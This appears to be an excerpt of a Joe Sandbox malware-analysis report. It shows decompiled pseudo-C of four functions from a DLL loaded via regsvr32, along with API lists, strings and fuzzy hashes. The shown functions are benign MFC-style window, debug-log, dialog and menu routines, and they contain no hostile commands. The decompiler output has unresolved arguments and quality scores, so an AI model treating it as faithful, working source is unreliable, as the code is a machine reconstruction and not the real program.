InflateRect.USER32 ref: 100026F5
SelectObject.GDI32 ref: 1000271D

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ClipSelect$CreateObjectOffset$EllipseInflateLineMoveRect
String ID:
API String ID: 3525678788-0
Opcode ID: f0fd6e4a9359107be3f57a4291997b925197628adac9ffe3f624bda02476958a
Instruction ID: 68e551bb517d99c27a0c64da797ec0441185909fde10368bda10c42d098f9eb8
Opcode Fuzzy Hash: f0fd6e4a9359107be3f57a4291997b925197628adac9ffe3f624bda02476958a
Instruction Fuzzy Hash: CF81B176214A808BE311DF39E84075EB761F7897D0F148225EF9E93A95DF39D586CB00

Uniqueness

Uniqueness Score: -1.00%

Function 10016558 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E10016558(signed short __ecx, signed int __edx, void* __esi, long long __rax, long long __rcx, long long __r8, long long __r9, void* __r10, void* __r11, long long _a8, signed int _a16, long long _a24, long long _a32) {
				char _v128;
				long long _v136;
				long long _v152;
				long long _v168;
				long _t18;
				signed short _t28;
				void* _t32;
				void* _t33;
				void* _t35;
				long _t37;
				long long _t43;
				long long _t45;
				long long _t71;

				_t43 = __rax;
				_t28 = __ecx;
				_a32 = __r9;
				_a24 = __r8;
				_a16 = __edx;
				_a8 = __rcx;
				_v136 = 0xfffffffe;
				_t85 = __r9;
				r14d = __edx;
				_t71 = __rcx;
				GetPropA(??, ??);
				_v152 = __rax;
				_t7 = _t45 + 1; // 0x1
				_t37 = _t7;
				_t32 = r14d - 6;
				if(_t32 == 0) {
					E10014360(0, _t32, __rax, __r9, "AfxOldWndProc423", __r8, __r9, __r11);
					E10014360(0, _t32, _t43, _t71, "AfxOldWndProc423", __r8, __r9, __r11);
					_t18 = E10016448(_t32, __esi, __eflags, _t43, _t43, __r8, _t43, __r11);
					goto L8;
				} else {
					_t33 = _t32 - 0x1a;
					if(_t33 == 0) {
						E10014360(0, _t33, __rax, __rcx, "AfxOldWndProc423", __r8, __r9, __r11);
						r8d = _t28 & 0x0000ffff;
						_t18 = E100164D4(0, r13w, __esi, _t43, _t43, "AfxOldWndProc423", __r8, __r9, __r11);
						_t37 = 0;
						__eflags = _t18;
						dil = _t18 == 0;
						L8:
						__eflags = _t37;
						if(_t37 != 0) {
							goto L9;
						}
					} else {
						_t35 = _t33 - 0x62;
						if(_t35 == 0) {
							__imp__SetWindowLongPtrA();
							RemovePropA(??, ??);
							GlobalFindAtomA(??);
							GlobalDeleteAtom(??);
							goto L9;
						} else {
							_t42 = _t35 - 0x8e;
							if(_t35 != 0x8e) {
								L9:
								_v168 = _t85;
								r8d = r14d;
								_t18 = CallWindowProcA(??, ??, ??, ??, ??);
								_t45 = _t43;
							} else {
								E10014360(0, _t35, __rax, __rcx, "AfxOldWndProc423", __r8, __r9, __r11);
								GetWindowRect(??, ??);
								r12d = E1001990C(_t43);
								_v168 = __r9;
								r8d = 0x110;
								CallWindowProcA(??, ??, ??, ??, ??);
								_t45 = _t43;
								r8d = r12d;
								_t18 = E10014D7C(0, _t28, _t35, _t42, _t43, _t43,  &_v128, __r8, __r8, __r10, __r11);
							}
						}
					}
				}
				return _t18;
			}

0x10016558
0x10016558
0x10016558
0x1001655d
0x10016562
0x10016566
0x1001657d
0x10016586
0x1001658c
0x1001658f
0x10016599
0x100165a2
0x100165a9
0x100165a9
0x100165af
0x100165b2
0x10016690
0x1001669b
0x100166a9
0x00000000
0x100165b8
0x100165b8
0x100165bb
0x10016667
0x10016673
0x1001667e
0x10016683
0x10016685
0x10016687
0x100166b3
0x100166b3
0x100166b5
0x00000000
0x00000000
0x100165c1
0x100165c1
0x100165c4
0x10016636
0x10016646
0x10016653
0x1001665c
0x00000000
0x100165c6
0x100165c6
0x100165cc
0x100166b7
0x100166b7
0x100166bf
0x100166c8
0x100166ce
0x100165d2
0x100165d5
0x100165e6
0x100165f4
0x100165f7
0x100165ff
0x1001660d
0x10016613
0x10016616
0x10016621
0x10016621
0x100165cc
0x100165c4
0x100165bb
0x100166ed

APIs

GetPropA.USER32 ref: 10016599
GetWindowRect.USER32 ref: 100165E6

Part of subcall function 1001990C: GetWindowLongA.USER32 ref: 10019923

CallWindowProcA.USER32 ref: 1001660D

Part of subcall function 10014D7C: GetWindowRect.USER32 ref: 10014DA8
Part of subcall function 10014D7C: GetWindow.USER32 ref: 10014DCA

SetWindowLongPtrA.USER32 ref: 10016636
RemovePropA.USER32 ref: 10016646
GlobalFindAtomA.KERNEL32 ref: 10016653
GlobalDeleteAtom.KERNEL32 ref: 1001665C
CallWindowProcA.USER32 ref: 100166C8

Strings

AfxOldWndProc423, xrefs: 10016592, 1001663C, 1001664C

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$AtomCallGlobalLongProcPropRect$DeleteFindRemove
String ID: AfxOldWndProc423
API String ID: 186092411-1060338832
Opcode ID: f77beaccdabc2796504c141cd4e65871949eefe248e55ac5595fb853038411ba
Instruction ID: 1578f3c6c687160a31f4cf1ec6c3f9701357d396ad9451bcaf7705c71cbf028f
Opcode Fuzzy Hash: f77beaccdabc2796504c141cd4e65871949eefe248e55ac5595fb853038411ba
Instruction Fuzzy Hash: C731CD36304A5482DA11DB26FC0476EA6A1F7C9FD4F004225AD9A0FB68DF7CC686CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1000DAE0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87
stringCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E1000DAE0(void* __edx, void* __rcx) {
				signed int _v40;
				char _v312;
				void* __rbx;
				void* __rdi;
				void* _t19;
				void* _t30;
				signed long long _t40;
				signed long long _t41;
				signed long long _t43;
				void* _t44;
				void* _t66;
				void* _t67;
				void* _t68;
				signed long long _t69;
				void* _t70;
				void* _t71;
				void* _t72;
				void* _t73;

				_t40 =  *0x100b1640; // 0xf93099fb11e7
				_t41 = _t40 ^ _t69;
				_v40 = _t41;
				_t44 = __rcx;
				if( *((long long*)(__rcx + 0x208)) != 0) {
					L2:
					_t31 = E10031BF0(_t41,  *(_t44 + 0x208));
					_t19 = E10031A60(_t30, _t18, _t41, _t44, _t61, _t66, _t67, _t71);
					if(_t19 != 0xffffffff) {
						if(_t19 <= 0x80000) {
							L21:
							return E1002FF40(_t31, _v40 ^ _t69);
						}
						_t49 =  *(_t44 + 0x208);
						if( *(_t44 + 0x208) == 0) {
							L12:
							r8d = 0x104;
							lstrcpynA(??, ??, ??);
							E10031720(0x5c, _t44,  &_v312, _t44, _t66, _t67, _t70, _t71, _t72);
							if(_t41 == 0) {
								_t43 =  &_v312;
							} else {
								_t43 = _t41 + 1;
							}
							lstrcpyA();
							E10031A30();
							if(E10031A00() == 0) {
								if( *(_t44 + 0x208) != 0) {
									goto L21;
								}
								E10031890(_t43, _t44, _t44, "a+", _t66, _t67, _t68, _t71, _t72, _t73);
								 *(_t44 + 0x208) = _t43;
								if(_t43 != 0) {
									goto L21;
								}
								L19:
								goto L20;
							} else {
								L20:
								OutputDebugStringA();
								goto L21;
							}
						}
						dil = E10031950(_t41, _t44, _t49, _t66) == 0;
						if(dil == 0) {
							OutputDebugStringA();
						}
						 *(_t44 + 0x208) = 0;
						if(dil == 0) {
							goto L21;
						} else {
							goto L12;
						}
					}
					_t59 =  *(_t44 + 0x208);
					if( *(_t44 + 0x208) != 0) {
						if(E10031950(_t41, _t44, _t59, _t66) != 0) {
							OutputDebugStringA();
						}
						 *(_t44 + 0x208) = 0;
					}
					goto L21;
				}
				_t61 = "a+";
				E10031890(_t41, __rcx, __rcx, "a+", _t66, _t67, _t68, _t71, _t72, _t73);
				 *(_t44 + 0x208) = _t41;
				if(_t41 == 0) {
					goto L19;
				}
				goto L2;
			}

0x1000daea
0x1000daf1
0x1000daf4
0x1000db04
0x1000db07
0x1000db25
0x1000db31
0x1000db33
0x1000db3b
0x1000db78
0x1000dc54
0x1000dc74
0x1000dc74
0x1000db7e
0x1000db88
0x1000dbbb
0x1000dbc0
0x1000dbc9
0x1000dbd9
0x1000dbe1
0x1000dbe9
0x1000dbe3
0x1000dbe3
0x1000dbe3
0x1000dbf8
0x1000dc03
0x1000dc17
0x1000dc2a
0x00000000
0x00000000
0x1000dc36
0x1000dc3e
0x1000dc45
0x00000000
0x00000000
0x1000dc47
0x00000000
0x1000dc19
0x1000dc4e
0x1000dc4e
0x00000000
0x1000dc4e
0x1000dc17
0x1000db91
0x1000db98
0x1000dba1
0x1000dba1
0x1000dbaa
0x1000dbb5
0x00000000
0x00000000
0x00000000
0x00000000
0x1000dbb5
0x1000db3d
0x1000db47
0x1000db54
0x1000db5d
0x1000db5d
0x1000db63
0x1000db63
0x00000000
0x1000db47
0x1000db09
0x1000db10
0x1000db18
0x1000db1f
0x00000000
0x00000000
0x00000000

APIs

OutputDebugStringA.KERNEL32 ref: 1000DB5D
OutputDebugStringA.KERNEL32 ref: 1000DBA1
lstrcpynA.KERNEL32 ref: 1000DBC9
lstrcpyA.KERNEL32 ref: 1000DBF8
OutputDebugStringA.KERNEL32 ref: 1000DC4E

Strings

Debug System Error --> Cannot close the debug log file., xrefs: 1000DB56, 1000DB9A
error.log.old, xrefs: 1000DBEE
Debug System Error --> Cannot create a backup copy of the debug log file, xrefs: 1000DC19
Debug System Error --> Debug log file cannot be opened., xrefs: 1000DC47

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: DebugOutputString$lstrcpylstrcpyn
String ID: Debug System Error --> Cannot close the debug log file.$Debug System Error --> Cannot create a backup copy of the debug log file$Debug System Error --> Debug log file cannot be opened.$error.log.old
API String ID: 3639490830-1172607378
Opcode ID: 421e5d89288fe8ecb55ed630c3e6b27aa4b0728435870446f5420613ca8d6c36
Instruction ID: cda2a73f55a6a3531ccefdec1e1226a767f4500a12ef8245f6fb9afd98691287
Opcode Fuzzy Hash: 421e5d89288fe8ecb55ed630c3e6b27aa4b0728435870446f5420613ca8d6c36
Instruction Fuzzy Hash: 50316035205B4185FE56EB20E8953ED33A0FB887C9F850136DD9E4A269EFB8D5C8C720

Uniqueness

Uniqueness Score: -1.00%

Function 1001B608 Relevance: 15.2, APIs: 10, Instructions: 160
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E1001B608(void* __ebx, void* __ecx, signed int __edx, void* __esi, void* __rax, intOrPtr* __rcx, long long __rdx, void* __r8, void* __r9, void* __r11, long long _a8, signed int _a16, signed int _a24, long long _a32) {
				long long _v72;
				long long _v80;
				long long _v88;
				long long _v96;
				long long _v104;
				intOrPtr _v120;
				intOrPtr _v128;
				intOrPtr _v136;
				int _t41;
				signed int _t46;
				signed int _t56;
				signed int _t59;
				signed int _t60;
				long long _t74;
				intOrPtr _t102;
				intOrPtr* _t104;
				long long _t105;
				signed int _t106;
				intOrPtr* _t115;
				long long _t116;

				_t114 = __r11;
				_t112 = __r9;
				_t110 = __r8;
				_t101 = __rdx;
				_t69 = __esi;
				_t67 = __edx;
				_t66 = __ecx;
				_t65 = __ebx;
				_a8 = __rcx;
				_v72 = 0xfffffffe;
				_t104 = __rcx;
				_t105 =  *((intOrPtr*)(__rcx + 0xc0));
				_v96 = _t105;
				_t116 =  *((intOrPtr*)(__rcx + 0xb8));
				_v88 = _t116;
				_t41 = E1001A994(__ebx, __edx, __esi, __rax, __r8, __r9, __r11);
				_t74 =  *((intOrPtr*)(__rax + 0x18));
				_v104 = _t74;
				if( *((long long*)(_t104 + 0xb0)) != 0) {
					E1001A994(__ebx, __edx, __esi, _t74, __r8, __r9, __r11);
					_t115 =  *((intOrPtr*)(_t74 + 0x18));
					_v104 = _t115;
					r8d = 5;
					FindResourceA(??, ??, ??);
					_t101 = _t74;
					_t41 = LoadResource(??, ??);
					_t116 = _t74;
					_v88 = _t74;
				}
				if(_t116 != 0) {
					_t41 = LockResource();
					_t105 = _t74;
					_v96 = _t74;
				}
				if(_t105 != 0) {
					E1001AF18(_t65, _t66, _t67, _t69, _t74, _t104, _t101, _t110, _t112, _t114);
					_t106 = _t74;
					_v80 = _t74;
					E10014464(_t65, _t66, _t67, _t69, _t74, _t110, _t112, _t114);
					r15d = 0;
					_a16 = r15d;
					r12d = 0;
					_a32 = _t115;
					r14d = 0;
					_a24 = r14d;
					__eflags = _t106;
					if(_t106 != 0) {
						GetDesktopWindow();
						__eflags = _t106 - _t74;
						if(_t106 != _t74) {
							_t56 = IsWindowEnabled();
							__eflags = _t56;
							if(_t56 != 0) {
								_t67 = 0;
								EnableWindow(??, ??);
								_t20 = _t115 + 1; // 0x1
								r15d = _t20;
								_a16 = r15d;
								E1001CB9C(_t74);
								__eflags = _t74;
								if(_t74 == 0) {
									_a32 = _t115;
								} else {
									_t101 =  *_t74;
									 *((intOrPtr*)( *_t74 + 0xe8))();
									_t115 = _t74;
									_a32 = _t74;
								}
								__eflags = _t115;
								if(_t115 != 0) {
									_t74 =  *_t115;
									_t59 =  *((intOrPtr*)(_t74 + 0x240))();
									__eflags = _t59;
									if(_t59 != 0) {
										_t60 = E10019A40(_t115);
										__eflags = _t60;
										if(_t60 != 0) {
											_t67 = 0;
											__eflags = 0;
											E10019A70(_t115);
											r14d = r15d;
											_a24 = r15d;
										}
									}
								}
							}
						}
					}
					E10016A74(_t65, _t66, _t67, _t69, _t74, _t104, _t110, _t112, _t114);
					E10014360(_t65, _t67, _t74, _t106, _t101, _t110, _t112, _t114);
					_t113 = _v104;
					_t111 = _t74;
					_t102 = _v96;
					_t46 = E1001B2D0(_t74, _t104, _t102, _t74, _v104);
					__eflags = _t46;
					if(_t46 != 0) {
						__eflags =  *(_t104 + 0x78) & 0x00000010;
						if(( *(_t104 + 0x78) & 0x00000010) != 0) {
							E1001990C(_t104);
							asm("bt eax, 0x8");
							_t32 = _t102 + 1; // 0x5
							_t66 = _t32;
							_t67 =  <  ? _t32 : 4;
							E10013CFC(_t65, _t32,  <  ? _t32 : 4, _t74, _t104, _t102, _t111, _t113, _t114);
						}
						__eflags =  *((long long*)(_t104 + 0x40));
						if( *((long long*)(_t104 + 0x40)) != 0) {
							_v120 = 0x97;
							_v128 = 0;
							_v136 = 0;
							r9d = 0;
							r8d = 0;
							_t67 = 0;
							__eflags = 0;
							E10019AD8(_t104, _t102);
						}
					}
					__eflags = r14d;
					if(r14d != 0) {
						_t67 = 1;
						E10019A70(_t115);
					}
					__eflags = r15d;
					if(r15d != 0) {
						_t67 = 1;
						EnableWindow(??, ??);
					}
					__eflags = _t106;
					if(__eflags != 0) {
						GetActiveWindow();
						__eflags = _t74 -  *((intOrPtr*)(_t104 + 0x40));
						if(__eflags == 0) {
							SetActiveWindow();
						}
					}
					 *((intOrPtr*)( *_t104 + 0xc0))();
					_t41 = E1001AF70(_t66, _t67, _t69, __eflags,  *_t104, _t104, _t111, _t113, _t114);
					__eflags =  *((long long*)(_t104 + 0xb0));
					if( *((long long*)(_t104 + 0xb0)) != 0) {
						_t41 = FreeResource();
					}
					goto L32;
				} else {
					L32:
					return _t41;
				}
			}

0x1001b608
0x1001b608
0x1001b608
0x1001b608
0x1001b608
0x1001b608
0x1001b608
0x1001b608
0x1001b608
0x1001b61b
0x1001b624
0x1001b627
0x1001b62e
0x1001b633
0x1001b63a
0x1001b63f
0x1001b644
0x1001b648
0x1001b655
0x1001b657
0x1001b65c
0x1001b660
0x1001b665
0x1001b675
0x1001b67b
0x1001b681
0x1001b687
0x1001b68a
0x1001b68a
0x1001b692
0x1001b697
0x1001b69d
0x1001b6a0
0x1001b6a0
0x1001b6a8
0x1001b6b6
0x1001b6bb
0x1001b6be
0x1001b6c3
0x1001b6c8
0x1001b6cb
0x1001b6d3
0x1001b6d6
0x1001b6de
0x1001b6e1
0x1001b6e9
0x1001b6ec
0x1001b6f2
0x1001b6f8
0x1001b6fb
0x1001b704
0x1001b70a
0x1001b70c
0x1001b70e
0x1001b713
0x1001b719
0x1001b719
0x1001b71e
0x1001b726
0x1001b72b
0x1001b72e
0x1001b749
0x1001b730
0x1001b730
0x1001b736
0x1001b73c
0x1001b73f
0x1001b73f
0x1001b751
0x1001b754
0x1001b756
0x1001b75d
0x1001b763
0x1001b765
0x1001b76a
0x1001b76f
0x1001b771
0x1001b773
0x1001b773
0x1001b778
0x1001b77d
0x1001b780
0x1001b780
0x1001b771
0x1001b765
0x1001b754
0x1001b70c
0x1001b6fb
0x1001b78b
0x1001b793
0x1001b798
0x1001b79d
0x1001b7a0
0x1001b7a8
0x1001b7ad
0x1001b7af
0x1001b7b1
0x1001b7b5
0x1001b7ba
0x1001b7bf
0x1001b7c8
0x1001b7c8
0x1001b7cb
0x1001b7d1
0x1001b7d1
0x1001b7d6
0x1001b7db
0x1001b7dd
0x1001b7e5
0x1001b7ed
0x1001b7f5
0x1001b7f8
0x1001b7fb
0x1001b7fb
0x1001b800
0x1001b800
0x1001b7db
0x1001b832
0x1001b835
0x1001b837
0x1001b83f
0x1001b83f
0x1001b844
0x1001b847
0x1001b849
0x1001b851
0x1001b851
0x1001b857
0x1001b85a
0x1001b85c
0x1001b862
0x1001b866
0x1001b86b
0x1001b86b
0x1001b866
0x1001b877
0x1001b880
0x1001b885
0x1001b88d
0x1001b892
0x1001b892
0x00000000
0x1001b6aa
0x1001b89f
0x1001b8ad
0x1001b8ad

APIs

FindResourceA.KERNEL32 ref: 1001B675
LoadResource.KERNEL32 ref: 1001B681

Part of subcall function 10014464: UnhookWindowsHookEx.USER32 ref: 1001449F

LockResource.KERNEL32 ref: 1001B697
GetDesktopWindow.USER32 ref: 1001B6F2
IsWindowEnabled.USER32 ref: 1001B704
EnableWindow.USER32 ref: 1001B713
EnableWindow.USER32 ref: 1001B851
GetActiveWindow.USER32 ref: 1001B85C
SetActiveWindow.USER32 ref: 1001B86B
FreeResource.KERNEL32 ref: 1001B892

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$Resource$ActiveEnable$DesktopEnabledFindFreeHookLoadLockUnhookWindows
String ID:
API String ID: 3362358738-0
Opcode ID: daf725e72805b9f553bb255cf44a244b3af2ce1eb32b163fe1eac4b5aa7aefe7
Instruction ID: 6c26a6321d57d1ec58dd19121fe04baeae92c161016960660889035621507e07
Opcode Fuzzy Hash: daf725e72805b9f553bb255cf44a244b3af2ce1eb32b163fe1eac4b5aa7aefe7
Instruction Fuzzy Hash: A051AB35209B9082EB59DB22B94436E73E5FB8AFD4F504124EE8A0BB64DF38D4D6C701

Uniqueness

Uniqueness Score: -1.00%

Function 1001F9DC Relevance: 15.1, APIs: 10, Instructions: 147
windowCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E1001F9DC(void* __ecx, void* __edx, void* __ebp, void* __eflags, long long __rax, long long __rcx, long long __rdx, void* __r8, void* __r9, void* __r11) {
				int _t40;
				int _t48;
				void* _t56;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t65;
				void* _t82;
				long long _t84;
				long long _t105;
				long long _t106;
				long long _t107;
				void* _t108;
				void* _t109;
				void* _t110;
				void* _t111;

				_t111 = __r11;
				_t110 = __r9;
				_t109 = __r8;
				_t104 = __rdx;
				_t84 = __rax;
				_t56 = __edx;
				_t107 = __rcx;
				_t52 = r9d;
				_t65 = r8d;
				_t105 = __rdx;
				_t40 = E10029EEC(__rax,  *((intOrPtr*)(__rcx + 0x40)));
				if(r9d == 0) {
					if( *((long long*)(_t107 + 0xe0)) == 0) {
						L3:
						if(_t105 == 0) {
							E1000E3A4();
							asm("int3");
						}
						E10019368(_t108 + 0x20);
						 *((long long*)(_t108 + 0x30)) = _t105;
						E10019FEC(_t52, _t56, _t65, _t84, _t109, _t110, _t111);
						if( *((intOrPtr*)(_t84 + 0xd0)) !=  *((intOrPtr*)(_t105 + 8))) {
							GetMenu();
							if(_t84 != 0) {
								E10016024(_t65, _t84, _t107, _t104, _t111);
								if(_t84 != 0) {
									GetMenu();
									_t106 = _t84;
									if(_t84 != 0) {
										_t48 = GetMenuItemCount();
										_t52 = 0;
										r12d = _t48;
										if(_t48 > 0) {
											while(1) {
												_t64 = _t52;
												GetSubMenu(??, ??);
												if(_t84 ==  *((intOrPtr*)(_t105 + 8))) {
													break;
												}
												_t52 = _t52 + 1;
												if(_t52 < r12d) {
													continue;
												} else {
												}
												goto L15;
											}
											E1002A0C4(_t52, _t64, _t84, _t106, _t104, _t109, _t110, _t111);
											 *((long long*)(_t108 + 0x58)) = _t84;
										}
									}
								}
							}
						} else {
							 *((long long*)(_t108 + 0x58)) = _t105;
						}
						L15:
						_t40 = GetMenuItemCount();
						 *(_t108 + 0x50) = _t40;
						 *((intOrPtr*)(_t108 + 0x2c)) = 0;
						if(_t40 != 0) {
							do {
								_t40 = GetMenuItemID();
								 *(_t108 + 0x28) = _t40;
								if(_t40 == 0) {
									L34:
									_t52 =  *(_t108 + 0x50);
									_t58 =  *((intOrPtr*)(_t108 + 0x2c));
								} else {
									if(_t40 != 0xffffffff) {
										 *((long long*)(_t108 + 0x38)) = 0;
										if( *((intOrPtr*)(_t107 + 0xa8)) == 0 || _t40 >= 0xf000) {
											goto L22;
										} else {
											r8d = 1;
											goto L23;
										}
									} else {
										GetSubMenu();
										_t40 = E1002A0C4(_t52,  *((intOrPtr*)(_t108 + 0x2c)), _t84, _t84, _t104, _t109, _t110, _t111);
										 *((long long*)(_t108 + 0x38)) = _t84;
										if(_t84 == 0) {
											goto L34;
										} else {
											_t40 = GetMenuItemID();
											 *(_t108 + 0x28) = _t40;
											if(_t40 == 0 || _t40 == 0xffffffff) {
												goto L34;
											} else {
												L22:
												r8d = 0;
												L23:
												_t104 = _t107;
												E10019398(_t108 + 0x20, _t107);
												_t40 = GetMenuItemCount(??);
												_t52 = _t40;
												if(_t40 >=  *(_t108 + 0x50)) {
													L32:
													_t58 =  *((intOrPtr*)(_t108 + 0x2c));
												} else {
													_t58 =  *((intOrPtr*)(_t108 + 0x2c)) + _t40 -  *(_t108 + 0x50);
													_t82 = _t58 - _t40;
													while(1) {
														 *((intOrPtr*)(_t108 + 0x2c)) = _t58;
														if(_t82 >= 0) {
															break;
														}
														_t40 = GetMenuItemID();
														if(_t40 !=  *(_t108 + 0x28)) {
															goto L32;
														} else {
															_t58 =  *((intOrPtr*)(_t108 + 0x2c)) + 1;
															continue;
														}
														goto L33;
													}
												}
												L33:
												 *(_t108 + 0x50) = _t52;
											}
										}
									}
								}
								_t59 = _t58 + 1;
								 *((intOrPtr*)(_t108 + 0x2c)) = _t59;
							} while (_t59 < _t52);
						}
					} else {
						r9d = 0;
						r8d = _t65;
						_t84 =  *((intOrPtr*)( *((intOrPtr*)(_t107 + 0xe0))));
						_t104 = __rdx;
						_t40 =  *((intOrPtr*)(_t84 + 0xe8))();
						if(_t40 == 0) {
							goto L3;
						}
					}
				}
				return _t40;
			}

0x1001f9dc
0x1001f9dc
0x1001f9dc
0x1001f9dc
0x1001f9dc
0x1001f9dc
0x1001f9e7
0x1001f9ee
0x1001f9f1
0x1001f9f4
0x1001f9f7
0x1001f9fe
0x1001fa0c
0x1001fa2f
0x1001fa32
0x1001fa34
0x1001fa39
0x1001fa39
0x1001fa3f
0x1001fa44
0x1001fa49
0x1001fa59
0x1001fa66
0x1001fa6f
0x1001fa74
0x1001fa7c
0x1001fa82
0x1001fa8b
0x1001fa8e
0x1001fa93
0x1001fa99
0x1001fa9d
0x1001faa0
0x1001faa2
0x1001faa2
0x1001faa7
0x1001fab1
0x00000000
0x00000000
0x1001fab3
0x1001fab9
0x00000000
0x00000000
0x1001fabb
0x00000000
0x1001fab9
0x1001fac0
0x1001fac5
0x1001fac5
0x1001faa0
0x1001fa8e
0x1001fa7c
0x1001fa5b
0x1001fa5b
0x1001fa5b
0x1001faca
0x1001face
0x1001fad8
0x1001fadc
0x1001fae0
0x1001faeb
0x1001faef
0x1001faf7
0x1001fafb
0x1001fbc3
0x1001fbc3
0x1001fbc7
0x1001fb01
0x1001fb03
0x1001fb7e
0x1001fb87
0x00000000
0x1001fb90
0x1001fb90
0x00000000
0x1001fb90
0x1001fb05
0x1001fb0d
0x1001fb16
0x1001fb1e
0x1001fb23
0x00000000
0x1001fb29
0x1001fb2f
0x1001fb37
0x1001fb3b
0x00000000
0x1001fb45
0x1001fb45
0x1001fb45
0x1001fb48
0x1001fb4d
0x1001fb50
0x1001fb59
0x1001fb63
0x1001fb65
0x1001fbb9
0x1001fbb9
0x1001fb67
0x1001fb71
0x1001fb73
0x1001fbb1
0x1001fbb1
0x1001fbb5
0x00000000
0x00000000
0x1001fb9c
0x1001fba6
0x00000000
0x1001fba8
0x1001fbac
0x00000000
0x1001fbaf
0x00000000
0x1001fba6
0x1001fbb7
0x1001fbbd
0x1001fbbd
0x1001fbbd
0x1001fb3b
0x1001fb23
0x1001fb03
0x1001fbcb
0x1001fbd0
0x1001fbd0
0x1001faeb
0x1001fa0e
0x1001fa15
0x1001fa18
0x1001fa1b
0x1001fa1e
0x1001fa21
0x1001fa29
0x00000000
0x00000000
0x1001fa29
0x1001fa0c
0x1001fbe4

APIs

Part of subcall function 10029EEC: GetFocus.USER32 ref: 10029EF6
Part of subcall function 10029EEC: GetParent.USER32 ref: 10029F1D
Part of subcall function 10029EEC: GetWindowLongA.USER32 ref: 10029F49
Part of subcall function 10029EEC: GetParent.USER32 ref: 10029F58
Part of subcall function 10029EEC: GetDesktopWindow.USER32 ref: 10029F61
Part of subcall function 10029EEC: SendMessageA.USER32 ref: 10029F7A

GetMenu.USER32 ref: 1001FA66
GetMenu.USER32 ref: 1001FA82
GetMenuItemCount.USER32 ref: 1001FA93
GetSubMenu.USER32 ref: 1001FAA7
GetMenuItemCount.USER32 ref: 1001FACE
GetMenuItemID.USER32 ref: 1001FAEF
GetSubMenu.USER32 ref: 1001FB0D
GetMenuItemID.USER32 ref: 1001FB2F
GetMenuItemCount.USER32 ref: 1001FB59
GetMenuItemID.USER32 ref: 1001FB9C

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Menu$Item$Count$ParentWindow$DesktopFocusLongMessageSend
String ID:
API String ID: 4186786570-0
Opcode ID: 20b42356dc28c523b6c766c3d63fd807f10ca83d04c64cee6008cf2fa414248b
Instruction ID: 545fb8fe7931fa736f1f46b579cf43ed45eb1de2d32e1a88113e0e22756f5e4f
Opcode Fuzzy Hash: 20b42356dc28c523b6c766c3d63fd807f10ca83d04c64cee6008cf2fa414248b
